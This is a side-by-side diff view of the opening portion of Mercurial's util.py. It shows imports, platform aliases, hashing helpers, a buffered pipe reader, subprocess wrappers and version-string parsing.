Show More
@@ -1,3704 +1,3719 b'' | |||||
1 | # util.py - Mercurial utility functions and platform specific implementations |
|
1 | # util.py - Mercurial utility functions and platform specific implementations | |
2 | # |
|
2 | # | |
3 | # Copyright 2005 K. Thananchayan <thananck@yahoo.com> |
|
3 | # Copyright 2005 K. Thananchayan <thananck@yahoo.com> | |
4 | # Copyright 2005-2007 Matt Mackall <mpm@selenic.com> |
|
4 | # Copyright 2005-2007 Matt Mackall <mpm@selenic.com> | |
5 | # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com> |
|
5 | # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com> | |
6 | # |
|
6 | # | |
7 | # This software may be used and distributed according to the terms of the |
|
7 | # This software may be used and distributed according to the terms of the | |
8 | # GNU General Public License version 2 or any later version. |
|
8 | # GNU General Public License version 2 or any later version. | |
9 |
|
9 | |||
10 | """Mercurial utility functions and platform specific implementations. |
|
10 | """Mercurial utility functions and platform specific implementations. | |
11 |
|
11 | |||
12 | This contains helper routines that are independent of the SCM core and |
|
12 | This contains helper routines that are independent of the SCM core and | |
13 | hide platform-specific details from the core. |
|
13 | hide platform-specific details from the core. | |
14 | """ |
|
14 | """ | |
15 |
|
15 | |||
16 | from __future__ import absolute_import |
|
16 | from __future__ import absolute_import | |
17 |
|
17 | |||
18 | import bz2 |
|
18 | import bz2 | |
19 | import calendar |
|
19 | import calendar | |
20 | import codecs |
|
20 | import codecs | |
21 | import collections |
|
21 | import collections | |
22 | import contextlib |
|
22 | import contextlib | |
23 | import datetime |
|
23 | import datetime | |
24 | import errno |
|
24 | import errno | |
25 | import gc |
|
25 | import gc | |
26 | import hashlib |
|
26 | import hashlib | |
27 | import imp |
|
27 | import imp | |
28 | import os |
|
28 | import os | |
29 | import platform as pyplatform |
|
29 | import platform as pyplatform | |
30 | import re as remod |
|
30 | import re as remod | |
31 | import shutil |
|
31 | import shutil | |
32 | import signal |
|
32 | import signal | |
33 | import socket |
|
33 | import socket | |
34 | import stat |
|
34 | import stat | |
35 | import string |
|
35 | import string | |
36 | import subprocess |
|
36 | import subprocess | |
37 | import sys |
|
37 | import sys | |
38 | import tempfile |
|
38 | import tempfile | |
39 | import textwrap |
|
39 | import textwrap | |
40 | import time |
|
40 | import time | |
41 | import traceback |
|
41 | import traceback | |
42 | import warnings |
|
42 | import warnings | |
43 | import zlib |
|
43 | import zlib | |
44 |
|
44 | |||
45 | from . import ( |
|
45 | from . import ( | |
46 | encoding, |
|
46 | encoding, | |
47 | error, |
|
47 | error, | |
48 | i18n, |
|
48 | i18n, | |
49 | policy, |
|
49 | policy, | |
50 | pycompat, |
|
50 | pycompat, | |
51 | ) |
|
51 | ) | |
52 |
|
52 | |||
53 | base85 = policy.importmod(r'base85') |
|
53 | base85 = policy.importmod(r'base85') | |
54 | osutil = policy.importmod(r'osutil') |
|
54 | osutil = policy.importmod(r'osutil') | |
55 | parsers = policy.importmod(r'parsers') |
|
55 | parsers = policy.importmod(r'parsers') | |
56 |
|
56 | |||
57 | b85decode = base85.b85decode |
|
57 | b85decode = base85.b85decode | |
58 | b85encode = base85.b85encode |
|
58 | b85encode = base85.b85encode | |
59 |
|
59 | |||
60 | cookielib = pycompat.cookielib |
|
60 | cookielib = pycompat.cookielib | |
61 | empty = pycompat.empty |
|
61 | empty = pycompat.empty | |
62 | httplib = pycompat.httplib |
|
62 | httplib = pycompat.httplib | |
63 | httpserver = pycompat.httpserver |
|
63 | httpserver = pycompat.httpserver | |
64 | pickle = pycompat.pickle |
|
64 | pickle = pycompat.pickle | |
65 | queue = pycompat.queue |
|
65 | queue = pycompat.queue | |
66 | socketserver = pycompat.socketserver |
|
66 | socketserver = pycompat.socketserver | |
67 | stderr = pycompat.stderr |
|
67 | stderr = pycompat.stderr | |
68 | stdin = pycompat.stdin |
|
68 | stdin = pycompat.stdin | |
69 | stdout = pycompat.stdout |
|
69 | stdout = pycompat.stdout | |
70 | stringio = pycompat.stringio |
|
70 | stringio = pycompat.stringio | |
71 | urlerr = pycompat.urlerr |
|
71 | urlerr = pycompat.urlerr | |
72 | urlreq = pycompat.urlreq |
|
72 | urlreq = pycompat.urlreq | |
73 | xmlrpclib = pycompat.xmlrpclib |
|
73 | xmlrpclib = pycompat.xmlrpclib | |
74 |
|
74 | |||
75 | # workaround for win32mbcs |
|
75 | # workaround for win32mbcs | |
76 | _filenamebytestr = pycompat.bytestr |
|
76 | _filenamebytestr = pycompat.bytestr | |
77 |
|
77 | |||
78 | def isatty(fp): |
|
78 | def isatty(fp): | |
79 | try: |
|
79 | try: | |
80 | return fp.isatty() |
|
80 | return fp.isatty() | |
81 | except AttributeError: |
|
81 | except AttributeError: | |
82 | return False |
|
82 | return False | |
83 |
|
83 | |||
84 | # glibc determines buffering on first write to stdout - if we replace a TTY |
|
84 | # glibc determines buffering on first write to stdout - if we replace a TTY | |
85 | # destined stdout with a pipe destined stdout (e.g. pager), we want line |
|
85 | # destined stdout with a pipe destined stdout (e.g. pager), we want line | |
86 | # buffering |
|
86 | # buffering | |
87 | if isatty(stdout): |
|
87 | if isatty(stdout): | |
88 | stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1) |
|
88 | stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1) | |
89 |
|
89 | |||
90 | if pycompat.osname == 'nt': |
|
90 | if pycompat.osname == 'nt': | |
91 | from . import windows as platform |
|
91 | from . import windows as platform | |
92 | stdout = platform.winstdout(stdout) |
|
92 | stdout = platform.winstdout(stdout) | |
93 | else: |
|
93 | else: | |
94 | from . import posix as platform |
|
94 | from . import posix as platform | |
95 |
|
95 | |||
96 | _ = i18n._ |
|
96 | _ = i18n._ | |
97 |
|
97 | |||
98 | bindunixsocket = platform.bindunixsocket |
|
98 | bindunixsocket = platform.bindunixsocket | |
99 | cachestat = platform.cachestat |
|
99 | cachestat = platform.cachestat | |
100 | checkexec = platform.checkexec |
|
100 | checkexec = platform.checkexec | |
101 | checklink = platform.checklink |
|
101 | checklink = platform.checklink | |
102 | copymode = platform.copymode |
|
102 | copymode = platform.copymode | |
103 | executablepath = platform.executablepath |
|
103 | executablepath = platform.executablepath | |
104 | expandglobs = platform.expandglobs |
|
104 | expandglobs = platform.expandglobs | |
105 | explainexit = platform.explainexit |
|
105 | explainexit = platform.explainexit | |
106 | findexe = platform.findexe |
|
106 | findexe = platform.findexe | |
107 | gethgcmd = platform.gethgcmd |
|
107 | gethgcmd = platform.gethgcmd | |
108 | getuser = platform.getuser |
|
108 | getuser = platform.getuser | |
109 | getpid = os.getpid |
|
109 | getpid = os.getpid | |
110 | groupmembers = platform.groupmembers |
|
110 | groupmembers = platform.groupmembers | |
111 | groupname = platform.groupname |
|
111 | groupname = platform.groupname | |
112 | hidewindow = platform.hidewindow |
|
112 | hidewindow = platform.hidewindow | |
113 | isexec = platform.isexec |
|
113 | isexec = platform.isexec | |
114 | isowner = platform.isowner |
|
114 | isowner = platform.isowner | |
115 | listdir = osutil.listdir |
|
115 | listdir = osutil.listdir | |
116 | localpath = platform.localpath |
|
116 | localpath = platform.localpath | |
117 | lookupreg = platform.lookupreg |
|
117 | lookupreg = platform.lookupreg | |
118 | makedir = platform.makedir |
|
118 | makedir = platform.makedir | |
119 | nlinks = platform.nlinks |
|
119 | nlinks = platform.nlinks | |
120 | normpath = platform.normpath |
|
120 | normpath = platform.normpath | |
121 | normcase = platform.normcase |
|
121 | normcase = platform.normcase | |
122 | normcasespec = platform.normcasespec |
|
122 | normcasespec = platform.normcasespec | |
123 | normcasefallback = platform.normcasefallback |
|
123 | normcasefallback = platform.normcasefallback | |
124 | openhardlinks = platform.openhardlinks |
|
124 | openhardlinks = platform.openhardlinks | |
125 | oslink = platform.oslink |
|
125 | oslink = platform.oslink | |
126 | parsepatchoutput = platform.parsepatchoutput |
|
126 | parsepatchoutput = platform.parsepatchoutput | |
127 | pconvert = platform.pconvert |
|
127 | pconvert = platform.pconvert | |
128 | poll = platform.poll |
|
128 | poll = platform.poll | |
129 | popen = platform.popen |
|
129 | popen = platform.popen | |
130 | posixfile = platform.posixfile |
|
130 | posixfile = platform.posixfile | |
131 | quotecommand = platform.quotecommand |
|
131 | quotecommand = platform.quotecommand | |
132 | readpipe = platform.readpipe |
|
132 | readpipe = platform.readpipe | |
133 | rename = platform.rename |
|
133 | rename = platform.rename | |
134 | removedirs = platform.removedirs |
|
134 | removedirs = platform.removedirs | |
135 | samedevice = platform.samedevice |
|
135 | samedevice = platform.samedevice | |
136 | samefile = platform.samefile |
|
136 | samefile = platform.samefile | |
137 | samestat = platform.samestat |
|
137 | samestat = platform.samestat | |
138 | setbinary = platform.setbinary |
|
138 | setbinary = platform.setbinary | |
139 | setflags = platform.setflags |
|
139 | setflags = platform.setflags | |
140 | setsignalhandler = platform.setsignalhandler |
|
140 | setsignalhandler = platform.setsignalhandler | |
141 | shellquote = platform.shellquote |
|
141 | shellquote = platform.shellquote | |
142 | spawndetached = platform.spawndetached |
|
142 | spawndetached = platform.spawndetached | |
143 | split = platform.split |
|
143 | split = platform.split | |
144 | sshargs = platform.sshargs |
|
144 | sshargs = platform.sshargs | |
145 | statfiles = getattr(osutil, 'statfiles', platform.statfiles) |
|
145 | statfiles = getattr(osutil, 'statfiles', platform.statfiles) | |
146 | statisexec = platform.statisexec |
|
146 | statisexec = platform.statisexec | |
147 | statislink = platform.statislink |
|
147 | statislink = platform.statislink | |
148 | testpid = platform.testpid |
|
148 | testpid = platform.testpid | |
149 | umask = platform.umask |
|
149 | umask = platform.umask | |
150 | unlink = platform.unlink |
|
150 | unlink = platform.unlink | |
151 | username = platform.username |
|
151 | username = platform.username | |
152 |
|
152 | |||
153 | try: |
|
153 | try: | |
154 | recvfds = osutil.recvfds |
|
154 | recvfds = osutil.recvfds | |
155 | except AttributeError: |
|
155 | except AttributeError: | |
156 | pass |
|
156 | pass | |
157 | try: |
|
157 | try: | |
158 | setprocname = osutil.setprocname |
|
158 | setprocname = osutil.setprocname | |
159 | except AttributeError: |
|
159 | except AttributeError: | |
160 | pass |
|
160 | pass | |
161 |
|
161 | |||
162 | # Python compatibility |
|
162 | # Python compatibility | |
163 |
|
163 | |||
164 | _notset = object() |
|
164 | _notset = object() | |
165 |
|
165 | |||
166 | # disable Python's problematic floating point timestamps (issue4836) |
|
166 | # disable Python's problematic floating point timestamps (issue4836) | |
167 | # (Python hypocritically says you shouldn't change this behavior in |
|
167 | # (Python hypocritically says you shouldn't change this behavior in | |
168 | # libraries, and sure enough Mercurial is not a library.) |
|
168 | # libraries, and sure enough Mercurial is not a library.) | |
169 | os.stat_float_times(False) |
|
169 | os.stat_float_times(False) | |
170 |
|
170 | |||
171 | def safehasattr(thing, attr): |
|
171 | def safehasattr(thing, attr): | |
172 | return getattr(thing, attr, _notset) is not _notset |
|
172 | return getattr(thing, attr, _notset) is not _notset | |
173 |
|
173 | |||
174 | def bitsfrom(container): |
|
174 | def bitsfrom(container): | |
175 | bits = 0 |
|
175 | bits = 0 | |
176 | for bit in container: |
|
176 | for bit in container: | |
177 | bits |= bit |
|
177 | bits |= bit | |
178 | return bits |
|
178 | return bits | |
179 |
|
179 | |||
180 | # python 2.6 still have deprecation warning enabled by default. We do not want |
|
180 | # python 2.6 still have deprecation warning enabled by default. We do not want | |
181 | # to display anything to standard user so detect if we are running test and |
|
181 | # to display anything to standard user so detect if we are running test and | |
182 | # only use python deprecation warning in this case. |
|
182 | # only use python deprecation warning in this case. | |
183 | _dowarn = bool(encoding.environ.get('HGEMITWARNINGS')) |
|
183 | _dowarn = bool(encoding.environ.get('HGEMITWARNINGS')) | |
184 | if _dowarn: |
|
184 | if _dowarn: | |
185 | # explicitly unfilter our warning for python 2.7 |
|
185 | # explicitly unfilter our warning for python 2.7 | |
186 | # |
|
186 | # | |
187 | # The option of setting PYTHONWARNINGS in the test runner was investigated. |
|
187 | # The option of setting PYTHONWARNINGS in the test runner was investigated. | |
188 | # However, module name set through PYTHONWARNINGS was exactly matched, so |
|
188 | # However, module name set through PYTHONWARNINGS was exactly matched, so | |
189 | # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This |
|
189 | # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This | |
190 | # makes the whole PYTHONWARNINGS thing useless for our usecase. |
|
190 | # makes the whole PYTHONWARNINGS thing useless for our usecase. | |
191 | warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial') |
|
191 | warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial') | |
192 | warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext') |
|
192 | warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext') | |
193 | warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd') |
|
193 | warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd') | |
194 |
|
194 | |||
195 | def nouideprecwarn(msg, version, stacklevel=1): |
|
195 | def nouideprecwarn(msg, version, stacklevel=1): | |
196 | """Issue an python native deprecation warning |
|
196 | """Issue an python native deprecation warning | |
197 |
|
197 | |||
198 | This is a noop outside of tests, use 'ui.deprecwarn' when possible. |
|
198 | This is a noop outside of tests, use 'ui.deprecwarn' when possible. | |
199 | """ |
|
199 | """ | |
200 | if _dowarn: |
|
200 | if _dowarn: | |
201 | msg += ("\n(compatibility will be dropped after Mercurial-%s," |
|
201 | msg += ("\n(compatibility will be dropped after Mercurial-%s," | |
202 | " update your code.)") % version |
|
202 | " update your code.)") % version | |
203 | warnings.warn(msg, DeprecationWarning, stacklevel + 1) |
|
203 | warnings.warn(msg, DeprecationWarning, stacklevel + 1) | |
204 |
|
204 | |||
205 | DIGESTS = { |
|
205 | DIGESTS = { | |
206 | 'md5': hashlib.md5, |
|
206 | 'md5': hashlib.md5, | |
207 | 'sha1': hashlib.sha1, |
|
207 | 'sha1': hashlib.sha1, | |
208 | 'sha512': hashlib.sha512, |
|
208 | 'sha512': hashlib.sha512, | |
209 | } |
|
209 | } | |
210 | # List of digest types from strongest to weakest |
|
210 | # List of digest types from strongest to weakest | |
211 | DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5'] |
|
211 | DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5'] | |
212 |
|
212 | |||
213 | for k in DIGESTS_BY_STRENGTH: |
|
213 | for k in DIGESTS_BY_STRENGTH: | |
214 | assert k in DIGESTS |
|
214 | assert k in DIGESTS | |
215 |
|
215 | |||
216 | class digester(object): |
|
216 | class digester(object): | |
217 | """helper to compute digests. |
|
217 | """helper to compute digests. | |
218 |
|
218 | |||
219 | This helper can be used to compute one or more digests given their name. |
|
219 | This helper can be used to compute one or more digests given their name. | |
220 |
|
220 | |||
221 | >>> d = digester(['md5', 'sha1']) |
|
221 | >>> d = digester(['md5', 'sha1']) | |
222 | >>> d.update('foo') |
|
222 | >>> d.update('foo') | |
223 | >>> [k for k in sorted(d)] |
|
223 | >>> [k for k in sorted(d)] | |
224 | ['md5', 'sha1'] |
|
224 | ['md5', 'sha1'] | |
225 | >>> d['md5'] |
|
225 | >>> d['md5'] | |
226 | 'acbd18db4cc2f85cedef654fccc4a4d8' |
|
226 | 'acbd18db4cc2f85cedef654fccc4a4d8' | |
227 | >>> d['sha1'] |
|
227 | >>> d['sha1'] | |
228 | '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33' |
|
228 | '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33' | |
229 | >>> digester.preferred(['md5', 'sha1']) |
|
229 | >>> digester.preferred(['md5', 'sha1']) | |
230 | 'sha1' |
|
230 | 'sha1' | |
231 | """ |
|
231 | """ | |
232 |
|
232 | |||
233 | def __init__(self, digests, s=''): |
|
233 | def __init__(self, digests, s=''): | |
234 | self._hashes = {} |
|
234 | self._hashes = {} | |
235 | for k in digests: |
|
235 | for k in digests: | |
236 | if k not in DIGESTS: |
|
236 | if k not in DIGESTS: | |
237 | raise Abort(_('unknown digest type: %s') % k) |
|
237 | raise Abort(_('unknown digest type: %s') % k) | |
238 | self._hashes[k] = DIGESTS[k]() |
|
238 | self._hashes[k] = DIGESTS[k]() | |
239 | if s: |
|
239 | if s: | |
240 | self.update(s) |
|
240 | self.update(s) | |
241 |
|
241 | |||
242 | def update(self, data): |
|
242 | def update(self, data): | |
243 | for h in self._hashes.values(): |
|
243 | for h in self._hashes.values(): | |
244 | h.update(data) |
|
244 | h.update(data) | |
245 |
|
245 | |||
246 | def __getitem__(self, key): |
|
246 | def __getitem__(self, key): | |
247 | if key not in DIGESTS: |
|
247 | if key not in DIGESTS: | |
248 | raise Abort(_('unknown digest type: %s') % k) |
|
248 | raise Abort(_('unknown digest type: %s') % k) | |
249 | return self._hashes[key].hexdigest() |
|
249 | return self._hashes[key].hexdigest() | |
250 |
|
250 | |||
251 | def __iter__(self): |
|
251 | def __iter__(self): | |
252 | return iter(self._hashes) |
|
252 | return iter(self._hashes) | |
253 |
|
253 | |||
254 | @staticmethod |
|
254 | @staticmethod | |
255 | def preferred(supported): |
|
255 | def preferred(supported): | |
256 | """returns the strongest digest type in both supported and DIGESTS.""" |
|
256 | """returns the strongest digest type in both supported and DIGESTS.""" | |
257 |
|
257 | |||
258 | for k in DIGESTS_BY_STRENGTH: |
|
258 | for k in DIGESTS_BY_STRENGTH: | |
259 | if k in supported: |
|
259 | if k in supported: | |
260 | return k |
|
260 | return k | |
261 | return None |
|
261 | return None | |
262 |
|
262 | |||
263 | class digestchecker(object): |
|
263 | class digestchecker(object): | |
264 | """file handle wrapper that additionally checks content against a given |
|
264 | """file handle wrapper that additionally checks content against a given | |
265 | size and digests. |
|
265 | size and digests. | |
266 |
|
266 | |||
267 | d = digestchecker(fh, size, {'md5': '...'}) |
|
267 | d = digestchecker(fh, size, {'md5': '...'}) | |
268 |
|
268 | |||
269 | When multiple digests are given, all of them are validated. |
|
269 | When multiple digests are given, all of them are validated. | |
270 | """ |
|
270 | """ | |
271 |
|
271 | |||
272 | def __init__(self, fh, size, digests): |
|
272 | def __init__(self, fh, size, digests): | |
273 | self._fh = fh |
|
273 | self._fh = fh | |
274 | self._size = size |
|
274 | self._size = size | |
275 | self._got = 0 |
|
275 | self._got = 0 | |
276 | self._digests = dict(digests) |
|
276 | self._digests = dict(digests) | |
277 | self._digester = digester(self._digests.keys()) |
|
277 | self._digester = digester(self._digests.keys()) | |
278 |
|
278 | |||
279 | def read(self, length=-1): |
|
279 | def read(self, length=-1): | |
280 | content = self._fh.read(length) |
|
280 | content = self._fh.read(length) | |
281 | self._digester.update(content) |
|
281 | self._digester.update(content) | |
282 | self._got += len(content) |
|
282 | self._got += len(content) | |
283 | return content |
|
283 | return content | |
284 |
|
284 | |||
285 | def validate(self): |
|
285 | def validate(self): | |
286 | if self._size != self._got: |
|
286 | if self._size != self._got: | |
287 | raise Abort(_('size mismatch: expected %d, got %d') % |
|
287 | raise Abort(_('size mismatch: expected %d, got %d') % | |
288 | (self._size, self._got)) |
|
288 | (self._size, self._got)) | |
289 | for k, v in self._digests.items(): |
|
289 | for k, v in self._digests.items(): | |
290 | if v != self._digester[k]: |
|
290 | if v != self._digester[k]: | |
291 | # i18n: first parameter is a digest name |
|
291 | # i18n: first parameter is a digest name | |
292 | raise Abort(_('%s mismatch: expected %s, got %s') % |
|
292 | raise Abort(_('%s mismatch: expected %s, got %s') % | |
293 | (k, v, self._digester[k])) |
|
293 | (k, v, self._digester[k])) | |
294 |
|
294 | |||
295 | try: |
|
295 | try: | |
296 | buffer = buffer |
|
296 | buffer = buffer | |
297 | except NameError: |
|
297 | except NameError: | |
298 | def buffer(sliceable, offset=0, length=None): |
|
298 | def buffer(sliceable, offset=0, length=None): | |
299 | if length is not None: |
|
299 | if length is not None: | |
300 | return memoryview(sliceable)[offset:offset + length] |
|
300 | return memoryview(sliceable)[offset:offset + length] | |
301 | return memoryview(sliceable)[offset:] |
|
301 | return memoryview(sliceable)[offset:] | |
302 |
|
302 | |||
303 | closefds = pycompat.osname == 'posix' |
|
303 | closefds = pycompat.osname == 'posix' | |
304 |
|
304 | |||
305 | _chunksize = 4096 |
|
305 | _chunksize = 4096 | |
306 |
|
306 | |||
307 | class bufferedinputpipe(object): |
|
307 | class bufferedinputpipe(object): | |
308 | """a manually buffered input pipe |
|
308 | """a manually buffered input pipe | |
309 |
|
309 | |||
310 | Python will not let us use buffered IO and lazy reading with 'polling' at |
|
310 | Python will not let us use buffered IO and lazy reading with 'polling' at | |
311 | the same time. We cannot probe the buffer state and select will not detect |
|
311 | the same time. We cannot probe the buffer state and select will not detect | |
312 | that data are ready to read if they are already buffered. |
|
312 | that data are ready to read if they are already buffered. | |
313 |
|
313 | |||
314 | This class let us work around that by implementing its own buffering |
|
314 | This class let us work around that by implementing its own buffering | |
315 | (allowing efficient readline) while offering a way to know if the buffer is |
|
315 | (allowing efficient readline) while offering a way to know if the buffer is | |
316 | empty from the output (allowing collaboration of the buffer with polling). |
|
316 | empty from the output (allowing collaboration of the buffer with polling). | |
317 |
|
317 | |||
318 | This class lives in the 'util' module because it makes use of the 'os' |
|
318 | This class lives in the 'util' module because it makes use of the 'os' | |
319 | module from the python stdlib. |
|
319 | module from the python stdlib. | |
320 | """ |
|
320 | """ | |
321 |
|
321 | |||
322 | def __init__(self, input): |
|
322 | def __init__(self, input): | |
323 | self._input = input |
|
323 | self._input = input | |
324 | self._buffer = [] |
|
324 | self._buffer = [] | |
325 | self._eof = False |
|
325 | self._eof = False | |
326 | self._lenbuf = 0 |
|
326 | self._lenbuf = 0 | |
327 |
|
327 | |||
328 | @property |
|
328 | @property | |
329 | def hasbuffer(self): |
|
329 | def hasbuffer(self): | |
330 | """True is any data is currently buffered |
|
330 | """True is any data is currently buffered | |
331 |
|
331 | |||
332 | This will be used externally a pre-step for polling IO. If there is |
|
332 | This will be used externally a pre-step for polling IO. If there is | |
333 | already data then no polling should be set in place.""" |
|
333 | already data then no polling should be set in place.""" | |
334 | return bool(self._buffer) |
|
334 | return bool(self._buffer) | |
335 |
|
335 | |||
336 | @property |
|
336 | @property | |
337 | def closed(self): |
|
337 | def closed(self): | |
338 | return self._input.closed |
|
338 | return self._input.closed | |
339 |
|
339 | |||
340 | def fileno(self): |
|
340 | def fileno(self): | |
341 | return self._input.fileno() |
|
341 | return self._input.fileno() | |
342 |
|
342 | |||
343 | def close(self): |
|
343 | def close(self): | |
344 | return self._input.close() |
|
344 | return self._input.close() | |
345 |
|
345 | |||
346 | def read(self, size): |
|
346 | def read(self, size): | |
347 | while (not self._eof) and (self._lenbuf < size): |
|
347 | while (not self._eof) and (self._lenbuf < size): | |
348 | self._fillbuffer() |
|
348 | self._fillbuffer() | |
349 | return self._frombuffer(size) |
|
349 | return self._frombuffer(size) | |
350 |
|
350 | |||
351 | def readline(self, *args, **kwargs): |
|
351 | def readline(self, *args, **kwargs): | |
352 | if 1 < len(self._buffer): |
|
352 | if 1 < len(self._buffer): | |
353 | # this should not happen because both read and readline end with a |
|
353 | # this should not happen because both read and readline end with a | |
354 | # _frombuffer call that collapse it. |
|
354 | # _frombuffer call that collapse it. | |
355 | self._buffer = [''.join(self._buffer)] |
|
355 | self._buffer = [''.join(self._buffer)] | |
356 | self._lenbuf = len(self._buffer[0]) |
|
356 | self._lenbuf = len(self._buffer[0]) | |
357 | lfi = -1 |
|
357 | lfi = -1 | |
358 | if self._buffer: |
|
358 | if self._buffer: | |
359 | lfi = self._buffer[-1].find('\n') |
|
359 | lfi = self._buffer[-1].find('\n') | |
360 | while (not self._eof) and lfi < 0: |
|
360 | while (not self._eof) and lfi < 0: | |
361 | self._fillbuffer() |
|
361 | self._fillbuffer() | |
362 | if self._buffer: |
|
362 | if self._buffer: | |
363 | lfi = self._buffer[-1].find('\n') |
|
363 | lfi = self._buffer[-1].find('\n') | |
364 | size = lfi + 1 |
|
364 | size = lfi + 1 | |
365 | if lfi < 0: # end of file |
|
365 | if lfi < 0: # end of file | |
366 | size = self._lenbuf |
|
366 | size = self._lenbuf | |
367 | elif 1 < len(self._buffer): |
|
367 | elif 1 < len(self._buffer): | |
368 | # we need to take previous chunks into account |
|
368 | # we need to take previous chunks into account | |
369 | size += self._lenbuf - len(self._buffer[-1]) |
|
369 | size += self._lenbuf - len(self._buffer[-1]) | |
370 | return self._frombuffer(size) |
|
370 | return self._frombuffer(size) | |
371 |
|
371 | |||
372 | def _frombuffer(self, size): |
|
372 | def _frombuffer(self, size): | |
373 | """return at most 'size' data from the buffer |
|
373 | """return at most 'size' data from the buffer | |
374 |
|
374 | |||
375 | The data are removed from the buffer.""" |
|
375 | The data are removed from the buffer.""" | |
376 | if size == 0 or not self._buffer: |
|
376 | if size == 0 or not self._buffer: | |
377 | return '' |
|
377 | return '' | |
378 | buf = self._buffer[0] |
|
378 | buf = self._buffer[0] | |
379 | if 1 < len(self._buffer): |
|
379 | if 1 < len(self._buffer): | |
380 | buf = ''.join(self._buffer) |
|
380 | buf = ''.join(self._buffer) | |
381 |
|
381 | |||
382 | data = buf[:size] |
|
382 | data = buf[:size] | |
383 | buf = buf[len(data):] |
|
383 | buf = buf[len(data):] | |
384 | if buf: |
|
384 | if buf: | |
385 | self._buffer = [buf] |
|
385 | self._buffer = [buf] | |
386 | self._lenbuf = len(buf) |
|
386 | self._lenbuf = len(buf) | |
387 | else: |
|
387 | else: | |
388 | self._buffer = [] |
|
388 | self._buffer = [] | |
389 | self._lenbuf = 0 |
|
389 | self._lenbuf = 0 | |
390 | return data |
|
390 | return data | |
391 |
|
391 | |||
392 | def _fillbuffer(self): |
|
392 | def _fillbuffer(self): | |
393 | """read data to the buffer""" |
|
393 | """read data to the buffer""" | |
394 | data = os.read(self._input.fileno(), _chunksize) |
|
394 | data = os.read(self._input.fileno(), _chunksize) | |
395 | if not data: |
|
395 | if not data: | |
396 | self._eof = True |
|
396 | self._eof = True | |
397 | else: |
|
397 | else: | |
398 | self._lenbuf += len(data) |
|
398 | self._lenbuf += len(data) | |
399 | self._buffer.append(data) |
|
399 | self._buffer.append(data) | |
400 |
|
400 | |||
401 | def popen2(cmd, env=None, newlines=False): |
|
401 | def popen2(cmd, env=None, newlines=False): | |
402 | # Setting bufsize to -1 lets the system decide the buffer size. |
|
402 | # Setting bufsize to -1 lets the system decide the buffer size. | |
403 | # The default for bufsize is 0, meaning unbuffered. This leads to |
|
403 | # The default for bufsize is 0, meaning unbuffered. This leads to | |
404 | # poor performance on Mac OS X: http://bugs.python.org/issue4194 |
|
404 | # poor performance on Mac OS X: http://bugs.python.org/issue4194 | |
405 | p = subprocess.Popen(cmd, shell=True, bufsize=-1, |
|
405 | p = subprocess.Popen(cmd, shell=True, bufsize=-1, | |
406 | close_fds=closefds, |
|
406 | close_fds=closefds, | |
407 | stdin=subprocess.PIPE, stdout=subprocess.PIPE, |
|
407 | stdin=subprocess.PIPE, stdout=subprocess.PIPE, | |
408 | universal_newlines=newlines, |
|
408 | universal_newlines=newlines, | |
409 | env=env) |
|
409 | env=env) | |
410 | return p.stdin, p.stdout |
|
410 | return p.stdin, p.stdout | |
411 |
|
411 | |||
412 | def popen3(cmd, env=None, newlines=False): |
|
412 | def popen3(cmd, env=None, newlines=False): | |
413 | stdin, stdout, stderr, p = popen4(cmd, env, newlines) |
|
413 | stdin, stdout, stderr, p = popen4(cmd, env, newlines) | |
414 | return stdin, stdout, stderr |
|
414 | return stdin, stdout, stderr | |
415 |
|
415 | |||
416 | def popen4(cmd, env=None, newlines=False, bufsize=-1): |
|
416 | def popen4(cmd, env=None, newlines=False, bufsize=-1): | |
417 | p = subprocess.Popen(cmd, shell=True, bufsize=bufsize, |
|
417 | p = subprocess.Popen(cmd, shell=True, bufsize=bufsize, | |
418 | close_fds=closefds, |
|
418 | close_fds=closefds, | |
419 | stdin=subprocess.PIPE, stdout=subprocess.PIPE, |
|
419 | stdin=subprocess.PIPE, stdout=subprocess.PIPE, | |
420 | stderr=subprocess.PIPE, |
|
420 | stderr=subprocess.PIPE, | |
421 | universal_newlines=newlines, |
|
421 | universal_newlines=newlines, | |
422 | env=env) |
|
422 | env=env) | |
423 | return p.stdin, p.stdout, p.stderr, p |
|
423 | return p.stdin, p.stdout, p.stderr, p | |
424 |
|
424 | |||
425 | def version(): |
|
425 | def version(): | |
426 | """Return version information if available.""" |
|
426 | """Return version information if available.""" | |
427 | try: |
|
427 | try: | |
428 | from . import __version__ |
|
428 | from . import __version__ | |
429 | return __version__.version |
|
429 | return __version__.version | |
430 | except ImportError: |
|
430 | except ImportError: | |
431 | return 'unknown' |
|
431 | return 'unknown' | |
432 |
|
432 | |||
433 | def versiontuple(v=None, n=4): |
|
433 | def versiontuple(v=None, n=4): | |
434 | """Parses a Mercurial version string into an N-tuple. |
|
434 | """Parses a Mercurial version string into an N-tuple. | |
435 |
|
435 | |||
436 | The version string to be parsed is specified with the ``v`` argument. |
|
436 | The version string to be parsed is specified with the ``v`` argument. | |
437 | If it isn't defined, the current Mercurial version string will be parsed. |
|
437 | If it isn't defined, the current Mercurial version string will be parsed. | |
438 |
|
438 | |||
439 | ``n`` can be 2, 3, or 4. Here is how some version strings map to |
|
439 | ``n`` can be 2, 3, or 4. Here is how some version strings map to | |
440 | returned values: |
|
440 | returned values: | |
441 |
|
441 | |||
442 | >>> v = '3.6.1+190-df9b73d2d444' |
|
442 | >>> v = '3.6.1+190-df9b73d2d444' | |
443 | >>> versiontuple(v, 2) |
|
443 | >>> versiontuple(v, 2) | |
444 | (3, 6) |
|
444 | (3, 6) | |
445 | >>> versiontuple(v, 3) |
|
445 | >>> versiontuple(v, 3) | |
446 | (3, 6, 1) |
|
446 | (3, 6, 1) | |
447 | >>> versiontuple(v, 4) |
|
447 | >>> versiontuple(v, 4) | |
